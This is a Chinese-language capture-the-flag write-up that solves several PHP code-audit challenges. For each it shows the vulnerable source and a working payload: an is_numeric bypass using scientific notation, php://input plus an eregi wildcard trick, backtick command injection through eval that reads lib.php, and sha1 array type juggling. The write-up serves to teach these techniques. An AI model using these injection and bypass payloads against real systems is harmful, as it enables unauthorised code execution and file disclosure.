LLCTF平台Php代码审计Write up

LLCTF平台Php代码审计Write up

LLCTF不是什么比赛,好像是某个学校校内的ctf练习平台。之前老大把这个平台的链接分享到了群里,让我们进去水水题。我对代码审计的题熟悉些,就把这部分先做完了。因为上面的题是来自以前各个ctf比赛和平台的一些题,我就把我的解题思路再写一下,算是总结归纳吧。

  • php1
<?php
error_reporting(0);
require __DIR__.'/lib.php';
echo base64_encode(hex2bin(strrev(bin2hex($flag))));
highlight_file(__FILE__);

源码已经给出,毕竟第一题非常简单,可以看出就是一个简单的base64编码后进制转换后反转字符串再进制转换后将flag输出。strrev() 函数反转字符串。

这里有一个非常简单的办法,如果你vps上安装了php的话,直接用php来反解就能拿到flag了。用php -r 参数直接执行php代码即可,前提是。payload如下

php -r "echo hex2bin(strrev(bin2hex(base64_decode('1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY='))));"

  • php2
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
    if(!is_numeric($_GET['time'])){
        echo 'The time must be number.';
    }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
        echo 'This time is too short.';
    }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
        echo 'This time is too long.';
    }else{
        sleep((int)$_GET['time']);
        echo $flag;
    }
    echo '<hr>';
}
highlight_file(__FILE__);

看代码是要求传参time,通过is_numric的判断,要大于5184000小于7776000,最后通过sleep函数,就可以输出flag。如果输入一个较大的数,会sleep很长时间。需要一个数大于5184000,然后int之后又要是一个很小的数。因为之前做过这类题,所以想到肯定是用科学计数法来绕过。那么6e6也就是6000000是满足条件的,payload如下。

http://47.240.12.171:23112/challenge2.php?time=6e6

  • php3

一打开显示work harder!harder!harder!,直接f12发现有个challenge3.txt,打开发现是源码。

<?php
error_reporting(0);
echo "<!--challenge3.txt-->";
require __DIR__.'/lib.php';
if(!$_GET['id']){
header('Location: challenge3.php?id=1');
exit();}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')){
echo 'Hahahahahaha';
return ;}
$data = @file_get_contents($a,'r');
if($data==" " and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){
echo $flag;}
else{
print "work harder!harder!harder!";
}

要求传入3个参数id,a,b,用stripos对a做了过滤,即a中不能出现点。看到后面的$data是用file_get_contents来读取a的内容,所以我们就可以用php伪协议来绕过。id绕过==0,随便一个字符串都可以只要不是数字就行。

strlen($b)>5 and eregi(“111″.substr($b,0,1),”1114″) and substr($b,0,1)!=4

然后就是绕eregi函数,这是这是一个正则匹配的函数,虽然通用思路是用00截断,但是这里”111”.substr($b,0,1)  是作为表达式而不是后面的匹配字符,熟悉正则表达式的朋友都知道,*是通配符,那么也可以用通配符来绕过,payload如下:

http://47.240.12.171:23113/challenge3.php?id=.&a=php://input&b=******

  • php4
<?php
error_reporting(0);
show_source(__FILE__);
 
$a = @$_REQUEST['hello'];
eval("var_dump($a);");

这道题没有难度,$_REQUEST是接收get或post的数据,但是被var_dump输出后是无法被eval所执行的,所以需要在var_dump就完成命令执行。做个简单的试验

大家都知道反引号位 (`) 是可以执行命令的,所以直接执行命令,看当前目录下有哪些文件

猜测flag多半都在lib.php中,这里有个坑,如果你直接cat的话发现什么也没看到

因为php标签的缘故被浏览器给注释掉,需要去看页面源码才能看到flag。

当然可以换个方式读文件用tac命令,它和cat刚好相反,把文件按行号倒序输出。这样就能直接看到flag了。所以payload如下

http://47.240.12.171:23114/challenge4.php?hello=`tac lib.php`

  • php5
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>

审计代码我们可以得知两点:

1. 用户名密码不能相等
2. 用户名密码的sha1()需要===

而===只有在相同类型下,才会比较其值。所以我们可以传入其他类型的数据,比如数组类型。payload构造如下:

name[]=a&password[]=b

这样在第一处判断时两数组确实是不同的,但在第二处判断时由于sha1()函数无法处理数组类型,将报错并返回NULL,if 条件成立,获得flag。

同时我自己也试验了一下,当sha1()传入非字符串类型时确实会报错,返回值为NULL。

  • php7
<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
    die("BugsBunnyCTF is here :p...");
if ( !isset($_POST["flag"]) )
    die($_403);
foreach ($_GET as $key => $value)
    $$key = $$value;
foreach ($_POST as $key => $value)
    $$key = $value;
if ( $_POST["flag"] !== $flag )
    die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);

 

 

zgao

如果有什么技术上的问题,可以加我的qq 1761321396 一起交流。